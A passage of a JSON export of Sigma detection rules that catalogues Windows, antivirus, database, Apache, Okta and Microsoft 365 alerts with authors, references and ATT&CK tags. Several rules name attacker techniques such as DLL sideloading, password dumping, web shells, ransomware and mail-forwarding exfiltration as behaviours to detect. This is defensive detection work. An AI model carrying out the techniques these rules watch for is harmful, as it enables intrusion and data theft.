"high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml" ], "tags": [ "attack.execution", "attack.t1218", "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288", "value": "Curl Start Combination" }, { "description": "Detects the conhost execution as parent process. Can be used to evaded defense mechanism.", "meta": { "author": "omkar72", "creation_date": "2020/10/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_conhost.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7dc2dedd-7603-461a-bc13-15803d132355", "value": "Conhost Parent Process Executions" }, { "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", "meta": { "author": "@gott_cyber", "creation_date": "2022/08/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_deviceenroller_evasion.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", "https://mobile.twitter.com/0gtweet/status/1564131230941122561", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_evasion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8", "value": "DLL Sideloading via DeviceEnroller.exe" }, { "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", "meta": { "author": "frack113", "creation_date": "2022/01/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_radmin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.radmin.fr/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_radmin.yml" ], "tags": [ "attack.execution", "attack.lateral_movement", "attack.t1072" ] }, "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d", "value": "Use Radmin Viewer Utility" }, { "description": "Detects a command used by conti to find volume shadow backups", "meta": { "author": "Max Altgelt, Tobias Michalski", "creation_date": "2021/08/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malware_conti.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" ], "tags": [ "attack.t1587.001", "attack.resource_development" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", "value": "Conti Volume Shadow Listing" }, { "description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unlikely (at.exe deprecated as of Windows 8)" ], "filename": "proc_creation_win_interactive_at.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc", "value": "Interactive AT Job" }, { "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Other programs that cause these patterns (please report)" ], "filename": "proc_creation_win_priv_escalation_via_named_pipe.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021" ] }, "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b", "value": "Privilege Escalation via Named Pipe Impersonation" }, { "description": "Detects suspicious scheduled task creations with commands that are uncommon", "meta": { "author": "Florian Roth", "creation_date": "2022/02/23", "falsepositive": [ "Software installers that run from temporary folders and also install scheduled tasks" ], "filename": "proc_creation_win_susp_schtasks_pattern.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad", "value": "Suspicious Add Scheduled Command Pattern" }, { "description": "Detects a highly relevant Antivirus alert that reports a password dumper", "meta": { "author": "Florian Roth", "creation_date": "2018/09/09", "falsepositive": [ "Unlikely" ], "filename": "av_password_dumper.yml", "level": "critical", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_password_dumper.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.t1558", "attack.t1003.001", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "78cc2dd2-7d20-4d32-93ff-057084c38b93", "value": "Antivirus Password Dumper Detection" }, { "description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", "meta": { "author": "Sittikorn S, Nuttakorn T, Tim Shelton", "creation_date": "2021/07/01", "falsepositive": [ "Unlikely, or pending PSP analysis" ], "filename": "av_printernightmare_cve_2021_34527.yml", "level": "critical", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", "https://twitter.com/mvelazco/status/1410291741241102338", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_printernightmare_cve_2021_34527.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "6fe1719e-ecdf-4caf-bffe-4f501cb0a561", "value": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection" }, { "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", "meta": { "author": "Florian Roth, Arnim Rupp", "creation_date": "2018/09/09", "falsepositive": [ "Unlikely" ], "filename": "av_relevant_files.yml", "level": "high", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_relevant_files.yml" ], "tags": [ "attack.resource_development", "attack.t1588" ] }, "related": [ { "dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c9a88268-0047-4824-ba6e-4d81ce0b907c", "value": "Antivirus Relevant File Paths Alerts" }, { "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", "meta": { "author": "Florian Roth", "creation_date": "2018/09/09", "falsepositive": [ "Unlikely" ], "filename": "av_exploiting.yml", "level": "critical", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_exploiting.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "238527ad-3c2c-4e4f-a1f6-92fd63adb864", "value": "Antivirus Exploitation Framework Detection" }, { "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", "meta": { "author": "Florian Roth", "creation_date": "2021/08/16", "falsepositive": [ "Unlikely" ], "filename": "av_hacktool.yml", "level": "high", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml" ], "tags": [ "attack.execution", "attack.t1204" ] }, "related": [ { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa0c05b6-8ad3-468d-8231-c1cbccb64fba", "value": "Antivirus Hacktool Detection" }, { "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", "meta": { "author": "Florian Roth, Arnim Rupp", "creation_date": "2018/09/09", "falsepositive": [ "Unlikely" ], "filename": "av_webshell.yml", "level": "high", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", "https://github.com/tennc/webshell", "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_webshell.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "fdf135a2-9241-4f96-a114-bb404948f736", "value": "Antivirus Web Shell Detection" }, { "description": "Detects a highly relevant Antivirus alert that reports ransomware", "meta": { "author": "Florian Roth", "creation_date": "2022/05/12", "falsepositive": [ "Unlikely" ], "filename": "av_ransomware.yml", "level": "critical", "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ "https://www.nextron-systems.com/?s=antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_ransomware.yml" ], "tags": [ "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4c6ca276-d4d0-4a8c-9e4c-d69832f8671f", "value": "Antivirus Ransomware Detection" }, { "description": "Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields", "meta": { "author": "@juju4", "creation_date": "2022/12/27", "falsepositive": [ "Inventory and monitoring activity", "Vulnerability scanners", "Legitimate applications" ], "filename": "db_anomalous_query.yml", "level": "medium", "logsource.category": "database", "logsource.product": "No established product", "refs": [ "https://github.com/sqlmapproject/sqlmap", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/database/db_anomalous_query.yml" ], "tags": [ "attack.exfiltration", "attack.initial_access", "attack.privilege_escalation", "attack.t1190", "attack.t1505.001" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d84c0ded-edd7-4123-80ed-348bb3ccc4d5", "value": "Suspicious SQL Query" }, { "description": "Detects an issue in apache logs that reports threading related errors", "meta": { "author": "Florian Roth", "creation_date": "2019/01/22", "falsepositive": [ "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" ], "filename": "web_apache_threading_error.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/product/apache/web_apache_threading_error.yml" ], "tags": "No established tags" }, "uuid": "e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c", "value": "Apache Threading Error" }, { "description": "Detects a segmentation fault error message caused by a creashing apache worker process", "meta": { "author": "Florian Roth", "creation_date": "2017/02/28", "falsepositive": [ "Unknown" ], "filename": "web_apache_segfault.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ "http://www.securityfocus.com/infocus/1633", "https://github.com/SigmaHQ/sigma/tree/master/rules/product/apache/web_apache_segfault.yml" ], "tags": [ "attack.impact", "attack.t1499.004" ] }, "related": [ { "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", "value": "Apache Segmentation Fault" }, { "description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", "meta": { "author": "Florian Roth", "creation_date": "2017/02/28", "falsepositive": [ "Vulnerability scanners", "Frequent attacks if system faces Internet" ], "filename": "modsec_mulitple_blocks.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "modsecurity", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/product/modsecurity/modsec_mulitple_blocks.yml" ], "tags": [ "attack.impact", "attack.t1499" ] }, "uuid": "a06eea10-d932-4aa6-8ba9-186df72c8d23", "value": "Multiple Modsecurity Blocks" }, { "description": "Detects when an security threat is detected in Okta.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_security_threat_detected.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" ], "tags": "No established tags" }, "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", "value": "Okta Security Threat Detected" }, { "description": "Detects when an user account is locked out.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_user_account_locked_out.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" ], "tags": [ "attack.impact" ] }, "uuid": "14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a", "value": "Okta User Account Locked Out" }, { "description": "Detects when a API Token is revoked.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_api_token_revoked.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" ], "tags": [ "attack.impact" ] }, "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b", "value": "Okta API Token Revoked" }, { "description": "Detects when an Policy Rule is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_policy_rule_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931", "value": "Okta Policy Rule Modified or Deleted" }, { "description": "Detects when unauthorized access to app occurs.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "User might of believe that they had access." ], "filename": "okta_unauthorized_access_to_app.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" ], "tags": [ "attack.impact" ] }, "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657", "value": "Okta Unauthorized Access to App" }, { "description": "Detects when an application Sign-on Policy is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_application_sign_on_policy_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a", "value": "Okta Application Sign-On Policy Modified or Deleted" }, { "description": "Detects when an the Administrator role is assigned to an user or group.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Administrator roles could be assigned to users or group by other admin users." ], "filename": "okta_admin_role_assigned_to_user_or_group.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" ], "tags": [ "attack.impact" ] }, "uuid": "413d4a81-6c98-4479-9863-014785fd579c", "value": "Okta Admin Role Assigned to an User or Group" }, { "description": "Detects when an application is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_application_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d", "value": "Okta Application Modified or Deleted" }, { "description": "Detects when an Network Zone is Deactivated or Deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_network_zone_deactivated_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "9f308120-69ed-4506-abde-ac6da81f4310", "value": "Okta Network Zone Deactivated or Deleted" }, { "description": "Detects when a API token is created", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Unknown" ], "filename": "okta_api_token_created.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c", "value": "Okta API Token Created" }, { "description": "Detects when an attempt at deactivating or resetting MFA.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/21", "falsepositive": [ "If a MFA reset or deactivated was performed by a system administrator." ], "filename": "okta_mfa_reset_or_deactivated.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0", "value": "Okta MFA Reset or Deactivated" }, { "description": "Detects when an Okta policy is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/12", "falsepositive": [ "Okta Policies being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "okta_policy_modified_or_deleted.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "okta", "refs": [ "https://developer.okta.com/docs/reference/api/system-log/", "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" ], "tags": [ "attack.impact" ] }, "uuid": "1667a172-ed4c-463c-9969-efd92195319a", "value": "Okta Policy Modified or Deleted" }, { "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "User using a VPN or Proxy" ], "filename": "microsoft365_activity_from_anonymous_ip_addresses.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml" ], "tags": [ "attack.command_and_control", "attack.t1573" ] }, "related": [ { "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95", "value": "Activity from Anonymous IP Addresses" }, { "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml" ], "tags": [ "attack.exfiltration", "attack.t1537" ] }, "related": [ { "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda", "value": "Data Exfiltration to Unsanctioned Apps" }, { "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "microsoft365_from_susp_ip_addresses.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml" ], "tags": [ "attack.command_and_control", "attack.t1573" ] }, "related": [ { "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a3501e8e-af9e-43c6-8cd6-9360bdaae498", "value": "Activity from Suspicious IP Addresses" }, { "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/22", "falsepositive": [ "Unknown" ], "filename": "microsoft365_susp_inbox_forwarding.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml" ], "tags": [ "attack.exfiltration", "attack.t1020" ] }, "related": [ { "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6c220477-0b5b-4b25-bb90-66183b4089e8", "value": "Suspicious Inbox Forwarding" }, { "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "microsoft365_activity_by_terminated_user.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml" ], "tags": [ "attack.impact" ] }, "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee", "value": "Activity Performed by Terminated User" }, { "description": "Alert for the addition of a new federated domain.", "meta": { "author": "@ionsor", "creation_date": "2022/02/08", "falsepositive": [ "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." ], "filename": "microsoft365_new_federated_domain_added.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "m365", "refs": [ "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", 